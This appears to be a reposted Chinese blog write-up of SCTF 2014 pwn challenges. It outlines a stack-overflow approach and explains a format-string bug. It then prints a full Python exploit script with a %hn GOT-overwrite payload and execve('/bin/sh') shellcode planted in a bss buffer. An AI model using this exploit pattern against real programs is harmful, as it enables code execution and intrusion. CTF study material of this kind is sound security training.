博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SCTF 2014 pwn题目分析
阅读量:4598 次
发布时间:2019-06-09

本文共 1268 字,大约阅读时间需要 4 分钟。

因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目。主防项目目前先搁置起来了,等比赛打完再去搞吧。

这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很符合套路的:一道栈溢出、一道格式化字符串、一道堆溢出。

 

pwn200

一个栈溢出。

题目给出了libc。保护只有nx。

拿到题后的基本思路就是leak出got表中函数的地址,然后拿libc算偏移算出system的地址。然后用这个地址去覆盖一个函数的got表。

 

pwn300

一个明显的格式化字符串漏洞,格式化字符串本身是在bss段中的,但是又复制到局部数组里了,想必是出题人为了降低难度。这个也给出了libc。但是没有办法像栈溢出那样leak出got表的内容。虽然可以向任意地址写但是却不知道改写入的地址是多少。第二个问题就是参数,要想执行system就得构造/bin/sh这个参数。这个参数怎么搞?

就是说有两个问题摆了出来

1.如何求system的地址,虽然有libc可以算偏移,但是没法leak got表啊

2.如何布置参数,可以写在数据段里,但是怎么作为参数?

 

解决方法是不使用ret2libc的方法,而是在固定地址的bss里放置shellcode,再把got表指过去。

具体的就是利用了接受留言内容的那个bss缓冲区了。

这样就解决了上面那两个问题

1 #SCTF2014 pwn200 2 #exp by Ox9A82 3 from zio import * 4 import time 5 io=zio('./pwn300') 6  7 chuan1='\x20\x91\x04\x08%37248c%7$hn\n' 8 shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \ 9                 "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \10                 "\x0b\xcd\x80\n"11 12 io.read_until('choice:')13 io.write('2\n')14 io.read_until('message')15 io.write(chuan1)16 io.read_until('choice:')17 io.write('3\n')18 19 io.read_until('choice:')20 io.write('2\n')21 io.read_until('message')22 io.write(shellcode)23 io.read_until('choice:')24 io.write('4\n')25 26 io.interact()

 

转载于:https://www.cnblogs.com/Ox9A82/p/5480015.html

你可能感兴趣的文章
【NOIP2001】统计单词个数
查看>>
linux常用端口
查看>>
异常处理
查看>>
/proc/uptime详解
查看>>
如何建立合适的索引?
查看>>
acwing 651. 逛画展
查看>>
(待完成)qbxt2019.05 总结12 - 趣味题目 鹰蛋
查看>>
[2018/11/18] Java数据结构(2) 简单排序 冒泡排序 选择排序 插入排序
查看>>
关于WPF程序只运行一个实例的方法
查看>>
游标的使用
查看>>
图论:点分治
查看>>
mysql
查看>>
C/C++ 知识点---sizeof使用规则及陷阱分析(网摘)
查看>>
java小程序 示例
查看>>
前端开发在线小工具
查看>>
有关cookies使用方法
查看>>
Hadoop 使用Combiner提高Map/Reduce程序效率
查看>>
前言 转录组
查看>>
扫描图片怎么转换成文字
查看>>
easyui刷新渲染
查看>>